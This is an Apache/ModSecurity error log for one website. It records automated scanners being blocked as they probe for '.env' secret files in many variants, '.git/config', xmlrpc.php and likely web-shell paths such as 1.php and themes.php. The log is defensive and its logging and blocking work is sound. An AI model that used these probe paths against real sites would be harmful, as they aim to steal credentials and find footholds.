[Thu Dec 04 03:27:58.908174 2025] [:error] [pid 3841:tid 3879] [client 3.1.49.251:34896] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aTCPPhqrnhYwq_3H8CQzyAAAAUM"]
[Thu Dec 04 03:27:59.615711 2025] [:error] [pid 3840:tid 3853] [client 3.1.49.251:35006] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "aTCPP5F_IDAg4wPRjg7d3AAAAEU"]
[Thu Dec 04 03:28:00.323138 2025] [:error] [pid 3938:tid 3940] [client 3.1.49.251:35110] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aTCPQCAHKAmSjlzEts44agAAAgA"]
[Thu Dec 04 03:28:01.032392 2025] [:error] [pid 63344:tid 63363] [client 3.1.49.251:35228] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aTCPQbFn6Z8FbZz0IjmUuQAAAA4"]
[Thu Dec 04 03:28:01.740619 2025] [:error] [pid 3840:tid 3858] [client 3.1.49.251:35346] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "aTCPQZF_IDAg4wPRjg7d4AAAAEo"]
[Thu Dec 04 03:28:02.449173 2025] [:error] [pid 3842:tid 3920] [client 3.1.49.251:35454] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "aTCPQiaILLkuuVMSmjs0eAAAAZE"]
[Thu Dec 04 03:28:03.156036 2025] [:error] [pid 63344:tid 63366] [client 3.1.49.251:35572] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "aTCPQ7Fn6Z8FbZz0IjmUvQAAABE"]
[Thu Dec 04 03:28:03.863909 2025] [:error] [pid 3842:tid 3907] [client 3.1.49.251:35730] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "aTCPQyaILLkuuVMSmjs0eQAAAYQ"]
[Thu Dec 04 03:28:04.574675 2025] [:error] [pid 3840:tid 3872] [client 3.1.49.251:35914] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "aTCPRJF_IDAg4wPRjg7d5QAAAFg"]
[Thu Dec 04 03:28:05.279666 2025] [:error] [pid 3841:tid 3890] [client 3.1.49.251:36104] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "aTCPRRqrnhYwq_3H8CQz0wAAAU4"]
[Thu Dec 04 03:28:05.986175 2025] [:error] [pid 3842:tid 3923] [client 3.1.49.251:36272] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "aTCPRSaILLkuuVMSmjs0egAAAZQ"]
[Thu Dec 04 03:28:06.696105 2025] [:error] [pid 3841:tid 3889] [client 3.1.49.251:36386] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.1"] [unique_id "aTCPRhqrnhYwq_3H8CQz1gAAAU0"]
[Thu Dec 04 03:28:07.411190 2025] [:error] [pid 3938:tid 3946] [client 3.1.49.251:36508] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.2"] [unique_id "aTCPRyAHKAmSjlzEts44fwAAAgY"]
[Thu Dec 04 03:28:08.119089 2025] [:error] [pid 3840:tid 3848] [client 3.1.49.251:36690] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod.local"] [unique_id "aTCPSJF_IDAg4wPRjg7d7QAAAEA"]
[Thu Dec 04 03:28:08.831794 2025] [:error] [pid 63344:tid 63363] [client 3.1.49.251:36884] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev.local"] [unique_id "aTCPSLFn6Z8FbZz0IjmUxQAAAA4"]
[Thu Dec 04 03:28:09.539479 2025] [:error] [pid 63344:tid 63349] [client 3.1.49.251:37078] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/vendor/.env"] [unique_id "aTCPSbFn6Z8FbZz0IjmUxwAAAAA"]
[Thu Dec 04 03:28:10.243930 2025] [:error] [pid 3842:tid 3920] [client 3.1.49.251:37216] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lib/.env"] [unique_id "aTCPSiaILLkuuVMSmjs0gAAAAZE"]
[Thu Dec 04 03:28:10.953783 2025] [:error] [pid 3938:tid 3963] [client 3.1.49.251:37312] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lab/.env"] [unique_id "aTCPSiAHKAmSjlzEts44hwAAAhc"]
[Thu Dec 04 03:28:11.659967 2025] [:error] [pid 3840:tid 3851] [client 3.1.49.251:37422] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cronlab/.env"] [unique_id "aTCPS5F_IDAg4wPRjg7d7wAAAEM"]
[Thu Dec 04 03:28:12.376280 2025] [:error] [pid 3841:tid 3899] [client 3.1.49.251:37548] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cron/.env"] [unique_id "aTCPTBqrnhYwq_3H8CQz3AAAAVc"]
[Thu Dec 04 03:28:13.085412 2025] [:error] [pid 3842:tid 3923] [client 3.1.49.251:37680] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "aTCPTSaILLkuuVMSmjs0hAAAAZQ"]
[Thu Dec 04 03:28:13.792999 2025] [:error] [pid 3842:tid 3915] [client 3.1.49.251:37846] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/app/.env"] [unique_id "aTCPTSaILLkuuVMSmjs0hQAAAYw"]
[Thu Dec 04 03:28:14.502584 2025] [:error] [pid 3841:tid 3886] [client 3.1.49.251:38000] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/Datavase/.env"] [unique_id "aTCPThqrnhYwq_3H8CQz3QAAAUo"]
[Thu Dec 04 03:28:15.209191 2025] [:error] [pid 63344:tid 63355] [client 3.1.49.251:38158] [client 3.1.49.251] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/database/.env"] [unique_id "aTCPT7Fn6Z8FbZz0IjmU0gAAAAY"]
[Thu Dec 04 12:24:59.930488 2025] [:error] [pid 38403:tid 38428] [client 143.110.180.207:64409] [client 143.110.180.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aTENGwBCL4g8TXcskwmnIgAAARQ"], referer: binance.com
[Thu Dec 04 18:12:49.804167 2025] [:error] [pid 63383:tid 63436] [client 103.160.26.210:54332] [client 103.160.26.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.160.26.210, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aTFeoVJYyG_QEWdAPIV6OQAAAtM"]
[Thu Dec 04 18:12:49.817076 2025] [proxy_fcgi:error] [pid 63383:tid 63436] [client 103.160.26.210:54332] AH01071: Got error 'Primary script unknown'
[Thu Dec 04 20:52:06.837082 2025] [:error] [pid 2161:tid 2236] [client 43.241.36.102:34630] [client 43.241.36.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTGD9ijiGdnP9Am2woU8HwAAAJM"]
[Thu Dec 04 20:52:07.645052 2025] [:error] [pid 2244:tid 2266] [client 43.241.36.102:34646] [client 43.241.36.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTGD95m00CCLpKa0F71hLQAAANM"]
[Thu Dec 04 20:52:08.673337 2025] [:error] [pid 63379:tid 63397] [client 43.241.36.102:51634] [client 43.241.36.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTGD-MvuHYNZ2IuzoJfnTwAAAgo"]
[Thu Dec 04 20:52:09.884724 2025] [:error] [pid 2161:tid 2223] [client 43.241.36.102:51636] [client 43.241.36.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTGD-SjiGdnP9Am2woU8JgAAAIY"]
[Fri Dec 05 09:11:01.609058 2025] [:error] [pid 53839:tid 53905] [client 176.65.132.18:60166] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTIxJaQOuERg_RN7bn_baQAAAIk"]
[Fri Dec 05 21:43:17.682870 2025] [:error] [pid 35962:tid 35980] [client 3.235.99.143:36734] [client 3.235.99.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/"] [unique_id "aTLhdZ-hnYjbYINfh7HVHQAAAFA"]
[Fri Dec 05 21:43:18.705398 2025] [:error] [pid 35962:tid 35978] [client 3.235.99.143:36748] [client 3.235.99.143] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aTLhdp-hnYjbYINfh7HVIAAAAE4"]
[Sat Dec 06 14:08:07.175930 2025] [:error] [pid 1727:tid 1731] [client 119.73.104.105:19208] [client 119.73.104.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.73.104.105, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aTPIR8D83luYT37-ZaXXyQAAAkI"]
[Sat Dec 06 14:08:07.191032 2025] [proxy_fcgi:error] [pid 1727:tid 1731] [client 119.73.104.105:19208] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.026883 2025] [proxy_fcgi:error] [pid 52809:tid 52829] [client 4.147.185.30:9241] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.058481 2025] [proxy_fcgi:error] [pid 52809:tid 52833] [client 4.147.185.30:9241] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.084221 2025] [proxy_fcgi:error] [pid 52809:tid 52834] [client 4.147.185.30:9241] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.181227 2025] [proxy_fcgi:error] [pid 52809:tid 52812] [client 4.147.185.30:9241] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.202403 2025] [proxy_fcgi:error] [pid 52809:tid 52827] [client 4.147.185.30:9241] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.224780 2025] [proxy_fcgi:error] [pid 52809:tid 52816] [client 4.147.185.30:9241] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.250198 2025] [proxy_fcgi:error] [pid 52809:tid 52831] [client 4.147.185.30:9241] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.272807 2025] [proxy_fcgi:error] [pid 52809:tid 52823] [client 4.147.185.30:9241] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.299862 2025] [proxy_fcgi:error] [pid 52809:tid 52822] [client 4.147.185.30:9241] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:16:03.334528 2025] [:error] [pid 52809:tid 52830] [client 4.147.185.30:9241] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aTQeg-rRwgsmpIJQ2qZ-vwAAAhM"]
[Sat Dec 06 20:16:03.373281 2025] [:error] [pid 52809:tid 52826] [client 4.147.185.30:9258] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aTQeg-rRwgsmpIJQ2qZ-wAAAAg8"]
[Sat Dec 06 20:16:03.432711 2025] [:error] [pid 48399:tid 48405] [client 4.147.185.30:60811] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aTQeg-jNPOrIshd8Ewe9PwAAAcQ"]
[Sat Dec 06 20:16:03.489274 2025] [:error] [pid 35591:tid 35601] [client 4.147.185.30:9247] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aTQeg4bmw-7bFvTxc9MaZAAAAQg"]
[Sat Dec 06 20:16:03.575350 2025] [:error] [pid 35591:tid 35616] [client 4.147.185.30:64038] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aTQeg4bmw-7bFvTxc9MaZQAAARc"]
[Sat Dec 06 20:16:03.632354 2025] [:error] [pid 52809:tid 52815] [client 4.147.185.30:9238] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aTQeg-rRwgsmpIJQ2qZ-wgAAAgQ"]
[Sat Dec 06 20:16:03.675773 2025] [:error] [pid 35591:tid 35614] [client 4.147.185.30:9657] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aTQeg4bmw-7bFvTxc9MaZgAAARU"]
[Sat Dec 06 20:16:03.754130 2025] [:error] [pid 48399:tid 48419] [client 4.147.185.30:9236] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aTQeg-jNPOrIshd8Ewe9QAAAAdI"]
[Sat Dec 06 20:16:03.816878 2025] [:error] [pid 48399:tid 48422] [client 4.147.185.30:9646] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aTQeg-jNPOrIshd8Ewe9QQAAAdU"]
[Sat Dec 06 20:16:03.907494 2025] [:error] [pid 52809:tid 52818] [client 4.147.185.30:60803] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aTQeg-rRwgsmpIJQ2qZ-wwAAAgc"]
[Sat Dec 06 20:16:03.983476 2025] [:error] [pid 61215:tid 61222] [client 4.147.185.30:9256] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aTQeg-OOZ8nTCBYuI-xM1gAAAAM"]
[Sat Dec 06 20:16:04.043032 2025] [:error] [pid 52809:tid 52821] [client 4.147.185.30:60821] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aTQehOrRwgsmpIJQ2qZ-xAAAAgo"]
[Sat Dec 06 20:16:04.089035 2025] [:error] [pid 35591:tid 35597] [client 4.147.185.30:9248] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aTQehIbmw-7bFvTxc9MaZwAAAQQ"]
[Sat Dec 06 20:16:04.166297 2025] [:error] [pid 61303:tid 61312] [client 4.147.185.30:9250] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aTQehNwK_fe00OH7zy6ahAAAAMY"]
[Sat Dec 06 20:16:04.202997 2025] [:error] [pid 61303:tid 61311] [client 4.147.185.30:9627] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aTQehNwK_fe00OH7zy6ahQAAAMU"]
[Sat Dec 06 20:16:04.247991 2025] [:error] [pid 61303:tid 61317] [client 4.147.185.30:60842] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aTQehNwK_fe00OH7zy6ahgAAAMs"]
[Sat Dec 06 20:16:04.447146 2025] [:error] [pid 35622:tid 35661] [client 4.147.185.30:9601] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTQehCOSP_9DVLgFwI7CWAAAAYo"]
[Sat Dec 06 20:16:04.508683 2025] [:error] [pid 35622:tid 35656] [client 4.147.185.30:9249] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTQehCOSP_9DVLgFwI7CWQAAAYU"]
[Sat Dec 06 20:16:04.564721 2025] [:error] [pid 61215:tid 61243] [client 4.147.185.30:9271] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTQehOOOZ8nTCBYuI-xM2AAAABg"]
